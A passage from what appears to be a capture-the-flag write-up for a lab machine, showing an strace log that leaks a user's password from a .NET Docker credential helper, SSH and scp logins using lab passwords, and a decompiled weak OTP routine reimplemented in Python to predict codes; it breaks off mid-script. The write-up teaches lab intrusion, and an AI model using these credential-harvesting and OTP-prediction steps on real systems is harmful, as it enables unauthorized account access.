mprotect(0x569c9b806000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b807000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b739000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b7f8000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b7fc000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x609000) = 0x75cfe7817000
munmap(0x75cfe7817000, 16384)           = 0
mprotect(0x569c9b808000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b809000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0xe000) = 0x75cfe7e20000
munmap(0x75cfe7e1f000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16f000) = 0x75cfe7e1f000
munmap(0x75cfe7e1e000, 4096)            = 0
mprotect(0x569c9b73a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b80a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b80b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b73b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b80c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b80d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b73c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b80e000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17b000) = 0x75cfe7e1e000
munmap(0x75cfe7e20000, 4096)            = 0
mprotect(0x569c9b80f000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b810000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x621000) = 0x569c9b810000
mprotect(0x569c9b810000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b73d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b811000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9a54b000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17b000) = 0x75cfe7868000
munmap(0x75cfe7e1f000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0xe000) = 0x75cfe7e20000
munmap(0x75cfe781b000, 8192)            = 0
mprotect(0x569c9b73e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b812000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b813000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b820000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x631000) = 0x569c9b820000
mprotect(0x569c9b820000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b824000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x631000) = 0x75cfe7819000
munmap(0x75cfe7819000, 16384)           = 0
mprotect(0x569c9a54c000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17c000) = 0x75cfe781b000
munmap(0x75cfe7e1e000, 4096)            = 0
mprotect(0x569c9b814000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b73f000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b815000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b830000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x641000) = 0x569c9b830000
mprotect(0x569c9b830000, 20480, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b816000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9a54d000, 4096, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b835000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b817000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16c000) = 0x75cfe7e1f000
munmap(0x75cfe7e20000, 4096)            = 0
mprotect(0x569c9b818000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b819000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0xe000) = 0x75cfe7e20000
munmap(0x75cfe7868000, 8192)            = 0
mprotect(0x569c9b81a000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b836000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b81b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b81c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b81d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b837000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b81e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b81f000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x4b1000) = 0x75cfe7e1e000
munmap(0x75cfe7e1f000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16c000) = 0x75cfe7e1f000
munmap(0x75cfe7e20000, 4096)            = 0
mmap(0x569c9b840000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x651000) = 0x569c9b840000
mprotect(0x569c9b840000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17e000) = 0x75cfe7e20000
munmap(0x75cfe7e1e000, 4096)            = 0
mprotect(0x569c9b841000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b842000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b838000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17d000) = 0x75cfe7e1d000
munmap(0x75cfe7e1f000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0xe000) = 0x75cfe7e1f000
munmap(0x75cfe7e20000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x178000) = 0x75cfe7e20000
munmap(0x75cfe781b000, 8192)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16f000) = 0x75cfe7c7e000
munmap(0x75cfe7e1f000, 4096)            = 0
mprotect(0x569c9b828000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b82c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x639000) = 0x75cfe7819000
munmap(0x75cfe7819000, 16384)           = 0
mprotect(0x569c9b843000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b844000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d437bf000)                     = 0x569d437bf000
mprotect(0x569c9b845000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d437b7000)                     = 0x569d437b7000
brk(0x569d437b5000)                     = 0x569d437b5000
brk(0x569d437b3000)                     = 0x569d437b3000
mprotect(0x569c9b846000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b839000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9a54e000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17e000) = 0x75cfe7868000
munmap(0x75cfe7e20000, 4096)            = 0
mprotect(0x569c9b847000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b848000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9a54f000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17f000) = 0x75cfe7e1f000
munmap(0x75cfe7c7e000, 4096)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x4b1000) = 0x75cfe7c7e000
munmap(0x75cfe7e1d000, 8192)            = 0
mprotect(0x569c9b849000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b83a000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d437d5000)                     = 0x569d437d5000
mprotect(0x569c9b84a000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b850000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x661000) = 0x569c9b850000
mprotect(0x569c9b850000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b854000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x661000) = 0x75cfe7819000
munmap(0x75cfe7819000, 16384)           = 0
mprotect(0x569c9b84b000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b84c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b84d000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b84e000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b858000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b85c000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x669000) = 0x75cfe7819000
munmap(0x75cfe7819000, 16384)           = 0
mprotect(0x569c9b84f000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b83b000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b860000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x671000) = 0x569c9b860000
mprotect(0x569c9b860000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b861000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b83c000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b862000, 4096, PROT_READ|PROT_WRITE) = 0
mprotect(0x569c9b863000, 4096, PROT_READ|PROT_WRITE) = 0
mmap(0x569c9b870000, 65536, PROT_NONE, MAP_SHARED|MAP_FIXED, 8, 0x681000) = 0x569c9b870000
mprotect(0x569c9b870000, 16384, PROT_READ|PROT_EXEC) = 0
mprotect(0x569c9b874000, 16384, PROT_READ|PROT_WRITE) = 0
mmap(NULL, 16384, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x681000) = 0x75cfe7819000
munmap(0x75cfe7819000, 16384)           = 0
mprotect(0x569c9b83d000, 4096, PROT_READ|PROT_WRITE) = 0
brk(0x569d437d3000)                     = 0x569d437d3000
mprotect(0x569c9a550000, 4096, PROT_READ|PROT_EXEC) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x180000) = 0x75cfe7e1d000
munmap(0x75cfe7868000, 8192)            = 0
fcntl(2, F_DUPFD_CLOEXEC, 0)            = 64
write(64, "This account might be protected by two-factor authentication\n", 61) = 61
write(64, "In case login fails, try logging in with &lt;password&gt;&lt;otp&gt;\n", 57) = 57
write(33, "{\"Username\":\"rebecca_smith\",\"Secret\":\"-7eAZDp9-f9mg\"}\n", 54) = 54
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x16f000) = 0x75cfe7869000
munmap(0x75cfe7e1f000, 8192)            = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, 8, 0x17e000) = 0x75cfe7e20000
munmap(0x75cfe7c7e000, 4096)            = 0
unlink("/tmp/dotnet-diagnostic-815523-2926128-socket") = 0
futex(0x569d4366dd30, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x569d4366dce0, FUTEX_WAKE_PRIVATE, 1) = 1
futex(0x569d43619f40, FUTEX_WAIT_BITSET_PRIVATE|FUTEX_CLOCK_REALTIME, 0, NULL, FUTEX_BITSET_MATCH_ANY) = 0
futex(0x569d43619ef0, FUTEX_WAKE_PRIVATE, 1) = 0
unlink("/tmp/clr-debug-pipe-815523-2926128-in") = 0
unlink("/tmp/clr-debug-pipe-815523-2926128-out") = 0
write(4, "\3", 1)                       = 1
exit_group(0)                           = ?
+++ exited with 0 +++
</span></code></pre></div></div>

<p>It’s almost always best to read <code class="language-plaintext highlighter-rouge">strace</code> output from the bottom. Towards the very end are three <code class="language-plaintext highlighter-rouge">write</code> calls:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">write(64, "This account might be protected by two-factor authentication\n", 61) = 61
write(64, "In case login fails, try logging in with &lt;password&gt;&lt;otp&gt;\n", 57) = 57
write(33, "{\"Username\":\"rebecca_smith\",\"Secret\":\"-7eAZDp9-f9mg\"}\n", 54) = 54
</span></code></pre></div></div>

<p>It hints that 2FA may be involved, and gives the password, “-7eAZDp9-f9mg”.</p>

<p>It’s also worth noting that I can get a shell with this password:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> <span class="s1">'-7eAZDp9-f9mg'</span> ssh rebecca_smith@sorcery.htb
<span class="go">Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-60-generic x86_64)
...[snip]...
</span><span class="gp">rebecca_smith@main:~$</span><span class="w"> 
</span></code></pre></div></div>

<p>But it doesn’t gain anything at this point. Surprisingly, rebecca_smith doesn’t have any way on this system to generate OTPs.</p>

<h4 id="otp-recovery-via-re">OTP Recovery via RE</h4>

<p>I’ll grab a copy of the binary using <code class="language-plaintext highlighter-rouge">scp</code>:</p>

<div class="language-console sshpass-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>sshpass <span class="nt">-p</span> dWpuk7cesBjT- scp tom_summers_admin@sorcery.htb:/usr/bin/docker-credential-docker-auth <span class="nb">.</span>
<span class="gp">oxdf@hacky$</span><span class="w"> </span>file docker-credential-docker-auth 
<span class="go">docker-credential-docker-auth: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80b42387c3bddabffe562898e3136c7d5958ac38, stripped
</span></code></pre></div></div>

<p>The strings in the binary show it is .NET:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>strings docker-credential-docker-auth | <span class="nb">grep</span> <span class="nt">-F</span> <span class="se">\.</span>NET | <span class="nb">tail</span>
<span class="go">.NETCoreApp,Version=v6.0
    "name": ".NETCoreApp,Version=v8.0/linux-x64",
    ".NETCoreApp,Version=v8.0": {},
    ".NETCoreApp,Version=v8.0/linux-x64": {
          "Microsoft.NET.ILLink.Tasks": "8.0.14",
          "runtimepack.Microsoft.NETCore.App.Runtime.linux-x64": "8.0.14"
      "runtimepack.Microsoft.NETCore.App.Runtime.linux-x64/8.0.14": {
      "Microsoft.NET.ILLink.Tasks/8.0.14": {},
    "runtimepack.Microsoft.NETCore.App.Runtime.linux-x64/8.0.14": {
    "Microsoft.NET.ILLink.Tasks/8.0.14": {
</span></code></pre></div></div>

<p>I’ll open this in <a href="https://www.jetbrains.com/decompiler/">DotPeek</a>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260419163459822.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260419163459822.png" alt="image-20260419163459822" class="include_image " />
</picture>

<p>There’s a ton of libraries loaded because this is compiled to bring along the entire .NET runtime. The custom code is in <code class="language-plaintext highlighter-rouge">&lt;Top-Level Entry Point&gt;</code>.</p>

<p>At the top it validates that exactly one arg is passed in, and that it’s one of “get”, “store”, and “otp”:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">Length</span> <span class="p">!=</span> <span class="m">1</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">Console</span><span class="p">.</span><span class="n">Error</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"Invalid arguments."</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">else</span>
<span class="p">{</span>
  <span class="p">(</span><span class="n">Action</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;,</span> <span class="n">InputType</span><span class="p">)</span> <span class="n">valueTuple</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(!</span><span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="p">(</span><span class="n">Action</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;,</span> <span class="n">InputType</span><span class="p">)&gt;()</span>
  <span class="p">{</span>
    <span class="p">{</span>
      <span class="s">"get"</span><span class="p">,</span>
      <span class="p">(</span><span class="k">new</span> <span class="n">Action</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;(</span><span class="n">HandleGet</span><span class="p">),</span> <span class="n">InputType</span><span class="p">.</span><span class="n">Plain</span><span class="p">)</span>
    <span class="p">},</span>
    <span class="p">{</span>
      <span class="s">"store"</span><span class="p">,</span>
      <span class="p">(</span><span class="k">new</span> <span class="n">Action</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;(</span><span class="n">HandleStore</span><span class="p">),</span> <span class="n">InputType</span><span class="p">.</span><span class="n">Json</span><span class="p">)</span>
    <span class="p">},</span>
    <span class="p">{</span>
      <span class="s">"otp"</span><span class="p">,</span>
      <span class="p">(</span><span class="k">new</span> <span class="n">Action</span><span class="p">&lt;</span><span class="kt">object</span><span class="p">&gt;(</span><span class="n">HandleOtp</span><span class="p">),</span> <span class="n">InputType</span><span class="p">.</span><span class="n">None</span><span class="p">)</span>
    <span class="p">}</span>
  <span class="p">}.</span><span class="nf">TryGetValue</span><span class="p">(</span><span class="n">args</span><span class="p">[</span><span class="m">0</span><span class="p">],</span> <span class="k">out</span> <span class="n">valueTuple</span><span class="p">))</span>
  <span class="p">{</span>
    <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"Not implemented."</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span>
  <span class="p">{</span>
</code></pre></div></div>

<p>I’m most interested in OTP, which calls the <code class="language-plaintext highlighter-rouge">HandleOtp</code> function:</p>

<div class="language-cs wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="k">void</span> <span class="nf">HandleOtp</span><span class="p">(</span><span class="kt">object</span> <span class="n">dynamicArgs</span><span class="p">)</span>
<span class="p">{</span>
  <span class="k">new</span> <span class="nf">Random</span><span class="p">(</span><span class="n">DateTime</span><span class="p">.</span><span class="n">Now</span><span class="p">.</span><span class="n">Minute</span> <span class="p">/</span> <span class="m">10</span> <span class="p">+</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="nf">GetCurrentExecutableOwner</span><span class="p">().</span><span class="n">UserId</span><span class="p">).</span><span class="nf">Next</span><span class="p">(</span><span class="m">100000</span><span class="p">,</span> <span class="m">999999</span><span class="p">);</span>
  <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="s">"OTP is currently experimental. Please ask our admins for one"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function is very simple. It seeds the <code class="language-plaintext highlighter-rouge">Random</code> function with the current minute (0-59) divided by 10 plus the executable owner’s user ID, and then gets a number between 100000 and 999999. This explains what I observed on the unintended path, where there are only six different values.</p>

<p>This function also doesn’t work. It creates the random number, but then doesn’t even store it in a variable. Then it prints and exits.</p>

<p>There are a couple ways to recreate these values. I passed the C# function to Claude:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260419165752610.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260419165752610.png" alt="image-20260419165752610" class="include_image " />
</picture>

<p>It recreated the algorithm that C# uses in Python:</p>

<div class="language-python code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="sh">"""</span><span class="s">Replicate .NET HandleOtp: new Random(Minute/10 + uid).Next(100000, 999999).</span><span class="sh">"""</span>

<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>

<span class="n">MBIG</span> <span class="o">=</span> <span class="mi">2147483647</span>
<span class="n">MSEED</span> <span class="o">=</span> <span class="mi">161803398</span>


<span class="k">class</span> <span class="nc">DotNetRandom</span><span class="p">:</span>
    <span class="sh">"""</span><span class="s">Port of .NET</span><span class="sh">'</span><span class="s">s seeded System.Random (Knuth subtractive generator).
    See referencesource.microsoft.com/#mscorlib/system/random.cs</span><span class="sh">"""</span>

    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">seed</span><span class="p">:</span> <span class="nb">int</span><span class="p">):</span>
        <span class="n">seed_array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">56</span>
        <span class="n">subtraction</span> <span class="o">=</span> <span class="n">MBIG</span> <span class="k">if</span> <span class="n">seed</span> <span class="o">==</span> <span class="o">-</span><span class="mi">2147483648</span> <span class="k">else</span> <span class="nf">abs</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
        <span class="n">mj</span> <span class="o">=</span> <span class="n">MSEED</span> <span class="o">-</span> <span class="n">subtraction</span>
        <span class="n">seed_array</span><span class="p">[</span><span class="mi">55</span><span class="p">]</span> <span class="o">=</span> <span class="n">mj</span>
        <span class="n">mk</span> <span class="o">=</span> <span class="mi">1</span>
        <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">55</span><span class="p">):</span>
            <span class="n">ii</span> <span class="o">=</span> <span class="p">(</span><span class="mi">21</span> <span class="o">*</span> <span class="n">i</span><span class="p">)</span> <span class="o">%</span> <span class="mi">55</span>
            <span class="n">seed_array</span><span class="p">[</span><span class="n">ii</span><span class="p">]</span> <span class="o">=</span> <span class="n">mk</span>
            <span class="n">mk</span> <span class="o">=</span> <span class="n">mj</span> <span class="o">-</span> <span class="n">mk</span>
            <span class="k">if</span> <span class="n">mk</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">mk</span> <span class="o">+=</span> <span class="n">MBIG</span>
            <span class="n">mj</span> <span class="o">=</span> <span class="n">seed_array</span><span class="p">[</span><span class="n">ii</span><span class="p">]</span>
        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">5</span><span class="p">):</span>
            <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">56</span><span class="p">):</span>
                <span class="n">seed_array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-=</span> <span class="n">seed_array</span><span class="p">[</span><span class="mi">1</span> <span class="o">+</span> <span class="p">(</span><span class="n">i</span> <span class="o">+</span> <span class="mi">30</span><span class="p">)</span> <span class="o">%</span> <span class="mi">55</span><span class="p">]</span>
                <span class="k">if</span> <span class="n">seed_array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
                    <span class="n">seed_array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">+=</span> <span class="n">MBIG</span>
        <span class="n">self</span><span class="p">.</span><span class="n">seed_array</span> <span class="o">=</span> <span class="n">seed_array</span>
        <span class="n">self</span><span class="p">.</span><span class="n">inext</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="n">self</span><span class="p">.</span><span class="n">inextp</span> <span class="o">=</span> <span class="mi">21</span>

    <span class="k">def</span> <span class="nf">_internal_sample</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
        <span class="n">self</span><span class="p">.</span><span class="n">inext</span> <span class="o">=</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">inext</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&gt;=</span> <span class="mi">56</span> <span class="k">else</span> <span class="n">self</span><span class="p">.</span><span class="n">inext</span> <span class="o">+</span> <span class="mi">1</span>
        <span class="n">self</span><span class="p">.</span><span class="n">inextp</span> <span class="o">=</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="n">inextp</span> <span class="o">+</span> <span class="mi">1</span> <span class="o">&gt;=</span> <span class="mi">56</span> <span class="k">else</span> <span class="n">self</span><span class="p">.</span><span class="n">inextp</span> <span class="o">+</span> <span class="mi">1</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">seed_array</span><span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">inext</span><span class="p">]</span> <span class="o">-</span> <span class="n">self</span><span class="p">.</span><span class="n">seed_array</span><span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">inextp</span><span class="p">]</span>
        <span class="k">if</span> <span class="n">r</span> <span class="o">==</span> <span class="n">MBIG</span><span class="p">:</span>
            <span class="n">r</span> <span class="o">-=</span> <span class="mi">1</span>
        <span class="k">if</span> <span class="n">r</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
            <span class="n">r</span> <span class="o">+=</span> <span class="n">MBIG</span>
        <span class="n">self</span><span class="p">.</span><span class="n">seed_array</span><span class="p">[</span><span class="n">self</span><span class="p">.</span><span class="n">inext</span><span class="p">]</span> <span class="o">=</span> <span class="n">r</span>
        <span class="k">return</span> <span class="n">r</span>

    <span class="k">def</span> <span class="nf">sample</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">self</span><span class="p">.</span><span class="nf">_internal_sample</span><span class="p">()</span> <span class="o">*</span> <span class="p">(</span><span class="mf">1.0</span> <span class="o">/</span> <span class="n">MBIG</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">next</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">min_value</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">max_value</span><span class="p">:</span> <span class="nb">int</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
        <span class="c1"># max_value is EXCLUSIVE in .NET
</span>        <span class="k">return</span> <span class="nf">int</span><span class="p">(</span><span class="n">self</span><span class="p">.</span><span class="nf">sample</span><span class="p">()</span> <span class="o">*</span> <span class="p">(</span><span class="n">max_value</span> <span class="o">-</span> <span class="n">min_value</span><span class="p">))</span> <span class="o">+</span> <span class="n">min_value</span>


<span class="k">def</span> <span class="nf">handle_otp</span><span class="p">(</span><span class="n">uid</span><span class="p">:</span> <span class="nb">int</span><span class="p">,</span> <span class="n">minute</span><span class="p">:</span> <span class="nb">int</span> <span class="o">|</span> <span class="bp">None</span> <span class="o">=</span> <span class="bp">None</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
    <span class="k">if</span> <span class="n">minute</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">minute</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="n">minute</span>
    <span class="n">seed</span> <span class="o">=</span> <span class="n">minute</span> <span class="o">//</span> <span class="mi">10</span> <span class="o">+</span> <span class="n">uid</span>
    <span class="k">return</span> <span class="nc">DotNetRandom</span><span class="p">(</span><span class="n">seed</span><span class="p">).</span><span class="nf">next</span><span class="p">(</span><span class="mi">100000</span><span class="p">,</span> <span class="mi">999999</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="kn">import</span> <span class="n">sys</span>

    <span class="n">uid</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">1</span> <span class="k">else</span> <span class="mi">2003</span>
    <span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">()</span>
